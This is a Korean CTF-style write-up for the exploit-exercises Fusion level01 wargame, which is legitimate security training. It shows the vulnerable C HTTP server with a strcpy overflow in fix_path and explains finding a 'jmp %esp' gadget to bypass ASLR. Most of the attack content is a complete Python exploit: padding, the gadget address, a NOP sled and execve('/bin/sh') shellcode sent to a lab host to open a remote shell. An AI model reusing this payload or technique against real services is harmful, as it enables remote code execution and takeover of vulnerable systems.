[exploit-exercises] fusion level01
[ fusion level01 ]
1#include "../common/common.c" 2 3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); 9} 10 11char *parse_http_request() 12{ 13 char buffer[1024]; 14 char *path; 15 char *q; 16 17 // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D 18 19 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); 20 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); 21 22 path = &buffer[4]; 23 q = strchr(path, ' '); 24 if(! q) errx(0, "No protocol version specified"); 25 *q++ = 0; 26 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); 27 28 fix_path(path); 29 30 printf("trying to access %s\n", path); 31 32 return path; 33} 34 35int main(int argc, char **argv, char **envp) 36{ 37 int fd; 38 char *p; 39 40 background_process(NAME, UID, GID); 41 fd = serve_forever(PORT); 42 set_io(fd); 43 44 parse_http_request(); 45}
Address Space Layout Randomisation | Yes |
level00 문제와 비슷한데 buffer의 주소를 찍어주는 printf문이 주석처리 되어 있다. 또 스택에 ASLR이 적용되어 있다고 한다.
문제 서버에 ROPgadget 프로그램이 있어서 "jmp %esp"를 찾아보니 아래와 같이 한개가 존재한다.
root@fusion:/opt/ROPgadget-v3.3# ./ROPgadget -file ../fusion/bin/level01 -g -asm "jmp %esp"
/tmp/ropgadget_asm.s: Assembler messages:
/tmp/ropgadget_asm.s:1: Warning: indirect jmp without `*'
Gadgets information
============================================================
0x08049f4f: "\xff\xe4 <==> jmp %esp"
Total opcodes found: 1
그럼 jmp %esp 가젯을 이용해서 ASLR을 우회하면 된다.
| buf | ret | nop + shellcode |
^ esp 위치
from socket import socket, AF_INET, SOCK_STREAM
import struct
HOST = '192.168.11.138'
PORT = 20001
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
#execve('/bin/sh')
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'
payload = 'GET ' #4byte
payload += 'a'*139 #&buffer[4]
payload += struct.pack('<I', 0x08049f4f) #&(jmp %esp)
payload += '\x90'*50 + shellcode
payload += ' HTTP/1.1' #9byte
s.send(payload + '\n')
sock_cmd(s)